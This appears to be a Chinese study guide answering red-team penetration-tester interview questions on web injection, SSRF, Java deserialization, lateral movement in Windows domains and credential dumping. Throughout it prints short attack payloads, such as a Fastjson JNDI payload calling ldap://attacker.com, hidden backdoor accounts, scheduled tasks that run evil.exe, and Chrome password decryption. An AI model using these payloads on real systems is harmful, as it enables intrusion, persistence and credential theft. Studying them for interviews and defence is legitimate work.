当前位置: 首页 > news >正文

2025年渗透测试面试题总结-红队攻防工程师(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 红队攻防工程师

1. SQL注入的报错函数

2. DOM型XSS

3. SSRF利用点

4. SQL注入点空表利用

5. MVC代码审计流程

6. 挖洞实战案例

7. Redis利用姿势及环境差异

8. Fastjson回显

9. JNDI注入及原理

10. 端口389

11. Java回显技术

12. 泛微OA XStream回显差异

13. Shiro限制Payload长度

14. 文件上传白名单绕过

15. 00截断原理

16. 判断域控的几种方式

17. 工作组横向 vs 域内横向

18. Windows认证协议

19. 判断是否在域内

20. Hash传递原理

21. 权限维持技术

22. 横向移动姿势及原理

23. 凭证获取与对抗

24. 对抗杀软添加后门用户

25. Chrome密码Dump原理与工具思路

 红队攻防工程师

sql注入的报错函数
dom 型 xss
ssrf 利用点
sql注入点,空表如何利用
mvc代码审计流程
看你简历有在挖洞,说一下你挖过的洞
Redis 利用姿势及环境差异
fastjson回显
jndi注入及原理
端口 389
Java 回显
泛微oa xstream的回显(jdk1.8和1.7的差异)
shiro 限制payload长度
Java回显的通用思路以及不同版本jdk的差异
文件上传白名单利用
00截断的原理
判断域控的几种方式
工作组横向
域内横向
Windows认证协议
白银票据黄金票据
判断是否在域内
hash传递原理
权限维持
横向移动的各种姿势及原理
凭证获取(姿势/常用/原理/对抗)
如何对抗杀软加后门用户
Chrome dump密码的原理,如果让你写个工具,思路是什么(或者别人工具的实现原理)

1. SQL注入的报错函数

  • 核心函数
    • MySQLupdatexml(1,concat(0x7e,user()),1)extractvalue(1,concat(0x7e,user()))
    • MSSQLconvert(int,@@version)触发类型错误
    • Oraclectxsys.drithsx.sn(1,(select user from dual))
  • 原理:通过构造语法错误,使数据库返回错误信息中包含敏感数据。

2. DOM型XSS

  • 触发场景:前端直接操作DOM未过滤用户输入,如:
    javascriptdocument.write(location.hash.substring(1)); // 攻击者通过#<svg onload=alert(1)>触发 
  • 特点:仅客户端执行,无需服务器响应,常见于SPA(单页应用)。

3. SSRF利用点

  • 协议利用
    • file:///etc/passwd 读取本地文件
    • dict://127.0.0.1:6379/info 探测Redis信息
    • gopher:// 构造HTTP请求攻击内网服务
  • 云元数据http://169.254.169.254/latest/meta-data/(AWS密钥泄露)。

4. SQL注入点空表利用

  • 方法:通过虚拟数据触发报错,如:
    sqlUNION SELECT 1,(SELECT 1 FROM dual WHERE 1=cast((SELECT version()) AS INT)),3 
  • 原理:强制类型转换失败导致错误信息泄漏数据。

5. MVC代码审计流程

  1. 路由分析:检查URL映射(如Spring的@RequestMapping)是否存在未授权访问。
  2. 控制器校验:验证@PreAuthorize等权限控制是否缺失。
  3. 模型层SQL:检查ORM框架(MyBatis/Hibernate)是否存在动态拼接。
  4. 视图层XSS:模板引擎(Thymeleaf/JSP)是否转义用户输入。
  5. 第三方组件:Fastjson/Shiro等版本是否存在已知漏洞。

6. 挖洞实战案例

  • 逻辑漏洞:某系统支付流程未校验订单归属,导致越权支付。
  • 未授权访问:API接口/api/admin/list无Token验证,直接获取敏感数据。
  • SQL注入:搜索框参数keyword未过滤,利用' AND 1=updatexml(...) --+获取管理员密码。

7. Redis利用姿势及环境差异

环境利用方式
Linux写SSH公钥(config set dir /root/.ssh
Windows写启动项(C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\evil.bat
通用主从复制RCE(SLAVEOF指向恶意服务器)

8. Fastjson回显

  • 低版本(≤1.2.24):直接JNDI注入,如{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/exp"}
  • 高版本:利用BasicDataSource构造内存马,通过ClassLoader加载恶意类。

9. JNDI注入及原理

  • 原理:JNDI动态加载远程对象,攻击者控制lookup()参数指向恶意RMI/LDAP服务,触发远程类加载。
  • 利用链InitialContext.lookup("ldap://attacker.com/Exploit") → 加载恶意类执行RCE。

10. 端口389

  • 用途:LDAP协议默认端口,用于域环境中的用户认证和目录服务。
  • 关联攻击:域渗透中通过LDAP查询域用户、计算机等信息。

11. Java回显技术

  • 通用思路
    • 通过当前请求线程获取Response对象,直接写入结果。
    • 反射调用ServletContextHttpServletResponse输出数据。
  • JDK差异
    • JDK≤7:直接使用TemplatesImpl加载字节码。
    • JDK≥8:需结合JNDI或内存马绕过限制。

12. 泛微OA XStream回显差异

  • JDK1.7:利用java.beans.EventHandler 链直接执行命令。
  • JDK1.8:需通过TemplatesImpl加载字节码,结合反射输出结果到响应流。

13. Shiro限制Payload长度

  • 绕过方法
    • 使用短链(如CC链的简化版)。
    • 分块传输(rememberMe=payload1; rememberMe=payload2)。
    • 结合内存马(如注册Filter)。

14. 文件上传白名单绕过

  • 技巧
    • 扩展名混淆:.php.php5.phtml.phar
    • .htaccess:设置AddType application/x-httpd-php .jpg
    • 内容伪造:图片马+修改Content-Type为image/jpeg

15. 00截断原理

  • 场景:旧版PHP(<5.3.4)处理文件名时,遇到%00会截断后续字符。
  • 利用evil.php%00.jpg→ 服务器解析为evil.php ,前提是magic_quotes_gpc=Off

16. 判断域控的几种方式

  1. 命令nltest /dclist:域名
  2. DNS查询nslookup -type=srv _ldap._tcp.dc._msdcs. 域名
  3. 注册表HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History中的DC信息。

17. 工作组横向 vs 域内横向

场景技术
工作组IPC$共享、WMI命令、PsExec、SMB协议传递。
域内Kerberos票据传递(黄金/白银票据)、LDAP查询、GPO组策略下发。

18. Windows认证协议

  • NTLM:基于挑战-响应,易受中间人攻击(Responder工具)。
  • Kerberos:基于票据(TGT/ST),黄金票据(伪造TGT)需krbtgt哈希,白银票据(伪造ST)需服务账户哈希。

19. 判断是否在域内

  • 命令systeminfo | findstr /i "Domain"
  • 注册表HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Domain
  • 环境变量echo %USERDOMAIN%

20. Hash传递原理

  • 本质:使用NTLM哈希代替明文密码进行身份验证(Pass-the-Hash)。
  • 工具:Mimikatz的sekurlsa::pth或Impacket的psexec.py -hashes LMHASH:NTHASH

21. 权限维持技术

  • 系统级
    • 隐藏账户:net user test$ Password123 /add
    • 计划任务:schtasks /create /tn "Update" /tr "evil.exe" /sc hourly
  • 域控级
    • DSRM密码同步:修改域控DSRM密码为已知值。
    • Hook PasswordChangeNotify:截取密码修改事件。

22. 横向移动姿势及原理

  • Pass-the-Hash:直接使用哈希认证(NTLM协议)。
  • Overpass-the-Hash:将哈希转为Kerberos票据(需域账户权限)。
  • DCOM/WMI:远程执行命令(如Get-WmiObject调用Win32_Process)。

23. 凭证获取与对抗

  • 常用工具
    • Mimikatz提取LSASS内存。
    • Procdump导出进程内存离线解析。
  • 对抗杀软
    • 使用C#版Mimikatz(避免特征检测)。
    • 注册表注入无文件加载(如reg add+rundll32.exe )。

24. 对抗杀软添加后门用户

  • 隐藏用户net user test$ Password123 /add /domain($符号隐藏)。
  • 注册表克隆:复制管理员RID至隐藏账户(HKLM\SAM\SAM\Domains\Account\Users)。
  • 无文件启动:通过服务DLL或WMI订阅执行。

25. Chrome密码Dump原理与工具思路

  • 原理
    1. 定位%LocalAppData%\Google\Chrome\User Data\Default\Login Data
    2. 解密密码字段(调用CryptUnprotectData API,需用户登录状态)。
  • 工具实现
    • Python脚本复制数据库文件→SQLite读取→调用Windows API解密。
    • 关键代码:使用pywin32库的win32crypt.CryptUnprotectData()
http://www.lryc.cn/news/571530.html

相关文章:

  • 缓存系统-基本概述
  • Ajax 核心知识点全面总结
  • 前端开发面试题总结-vue2框架篇(三)
  • 网络层协议 IP 协议介绍 -- IP 协议,网段划分,私有 IP 和 公网 IP,路由
  • KingbaseES 在线体验平台深度评测
  • 计算机硬件——外设、其他部件
  • CentOS7 安装最新版 Docker
  • 【MySQL】MySQL 数据库操作与设计
  • 【系统设计【4】】设计一个限流器:从理论到实践的完整解决方案
  • 从C++编程入手设计模式——外观模式
  • AI智能体应用市场趋势分析
  • Black自动格式化工具
  • PINA开源程序用于高级建模的 Physics-Informed 神经网络
  • 实验分享|自研局部DIC-GPU算法与开源GPU算法对比实验
  • jenkins打包问题jar问题
  • Layui的table实现鼠标移入单元格后tips弹框提示
  • 【RocketMQ 生产者和消费者】- 消费者重平衡(1)
  • 《开窍》读书笔记9
  • day40- 硬件学习之 51单片机II (中断处理)
  • 开源 Arkts 鸿蒙应用 开发(一)工程文件分析
  • MIT 6.S081 2020 Lab9 File Systems 个人全流程
  • 使用 Java + WebSocket 实现简单实时双人协同 pk 答题
  • 什么是状态机?状态机入门
  • 神奇的bug之docker compose启动mysql失败
  • 服务器带宽小优化建议以及实战操作
  • 【在线五子棋对战】七、数据管理模块实现
  • Java 21 新特性深度解析:虚拟线程、结构化并发来袭!
  • 服务器静态ip,网关不能占用*.*.*.1
  • 【音视频】SIP基础、搭建服务器和客户端
  • Axios 知识点全面总结